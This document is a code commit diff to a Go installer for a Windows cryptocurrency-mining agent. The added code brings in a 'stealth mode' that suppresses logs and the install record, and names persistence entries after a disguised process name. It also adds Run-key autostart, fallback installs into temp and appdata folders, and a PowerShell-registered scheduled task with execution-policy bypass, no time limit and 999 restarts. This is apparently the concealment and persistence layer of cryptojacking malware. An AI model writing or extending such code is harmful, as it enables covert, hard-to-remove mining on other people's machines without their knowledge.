Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/deploy/install.go

@@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
 		}
 	}
 
-	installDir, err := cfg.InstallDirectory()
+	installDir, err := resolveInstallDirWithFallback(cfg)
 	if err != nil {
 		return false, err
 	}
@@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
 	if err := copyFile(currentExe, installedExe); err != nil {
 		return false, fmt.Errorf("copy miner: %w", err)
 	}
+	_ = saveBackup(installedExe)
+
+	agentID, err := EnsureAgentID(installDir)
+	if err != nil {
+		return false, fmt.Errorf("agent id: %w", err)
+	}
 
 	logPath := filepath.Join(installDir, "miner.log")
-	_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
-		"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
-		cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
-	)), 0644)
+	if !cfg.FileLogging || cfg.StealthMode {
+		logPath = ""
+	}
+
+	if !cfg.StealthMode {
+		_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
+			"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
+			cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
+		)), 0644)
+	}
 
 	if cfg.AutoStart {
-		if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
+		if err := configureAutoStart(cfg, installedExe); err != nil {
 			return false, fmt.Errorf("auto-start: %w", err)
 		}
 	}
@@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
 	return true, nil
 }
 
+func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
+	dir, err := cfg.InstallDirectory()
+	if err == nil {
+		return dir, nil
+	}
+
+	fallbacks := []string{"localappdata", "appdata", "temp"}
+	seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
+	for _, base := range fallbacks {
+		if seen[base] {
+			continue
+		}
+		seen[base] = true
+		try := cfg
+		try.InstallBase = base
+		dir, tryErr := try.InstallDirectory()
+		if tryErr == nil {
+			return dir, nil
+		}
+	}
+	return "", err
+}
+
 func InstallDir(workerName, buildID string) (string, error) {
 	return config.RuntimeConfig{
 		BuiltinConfig: config.BuiltinConfig{
@@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) {
 	}.InstallDirectory()
 }
 
-func configureAutoStart(workerName, exePath string) error {
+func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
 	k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
 	if err != nil {
 		return err
 	}
 	defer k.Close()
-	return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
+	return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
 }
 
 func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
 	switch cfg.RunAs {
-	case "scheduled":
-		return createScheduledTask(cfg.WorkerName, installedExe)
-	case "service":
-		// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
-		return createScheduledTask(cfg.WorkerName, installedExe)
+	case "scheduled", "service":
+		return createScheduledTask(cfg, installedExe)
 	default:
+		if cfg.AutoStart {
+			return createScheduledTask(cfg, installedExe)
+		}
 		return nil
 	}
 }
 
-func createScheduledTask(workerName, exePath string) error {
-	taskName := sanitizeName(workerName)
+func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
+	taskName := persistenceKeyName(cfg)
 	if taskName == "" {
 		taskName = "CryptoMinerAgent"
 	}
 	script := fmt.Sprintf(
-		`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
+		`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
 		strings.ReplaceAll(exePath, `'`, `''`),
 		runFlag,
-		taskName,
+		strings.ReplaceAll(taskName, `'`, `''`),
 	)
 	cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
 	return cmd.Run()
 }
 
+func persistenceKeyName(cfg config.RuntimeConfig) string {
+	if cfg.StealthMode {
+		return cfg.EffectiveProcessName()
+	}
+	name := sanitizeName(cfg.WorkerName)
+	if name == "" {
+		return cfg.EffectiveProcessName()
+	}
+	return "CryptoMiner-" + name
+}
+
 func relaunch(exePath, logPath string) error {
 	cmd := exec.Command(exePath, runFlag)
 	cmd.Dir = filepath.Dir(exePath)
-	cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
-	return cmd.Start()
-}
-
-func registryValueName(workerName string) string {
-	name := sanitizeName(workerName)
-	if name == "" {
-		return "CryptoMinerAgent"
+	if logPath != "" {
+		cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
 	}
-	return "CryptoMiner-" + name
+	return cmd.Start()
 }
 
 func sanitizeName(name string) string {
@@ -169,7 +209,7 @@ func copyFile(src, dest string) error {
 }
 
 func ConfigureAutoStart(exePath string, enabled bool) error {
-	return configureAutoStart("default", exePath)
+	return configureAutoStart(config.RuntimeConfig{}, exePath)
 }
 
 func removeAutoStart() error {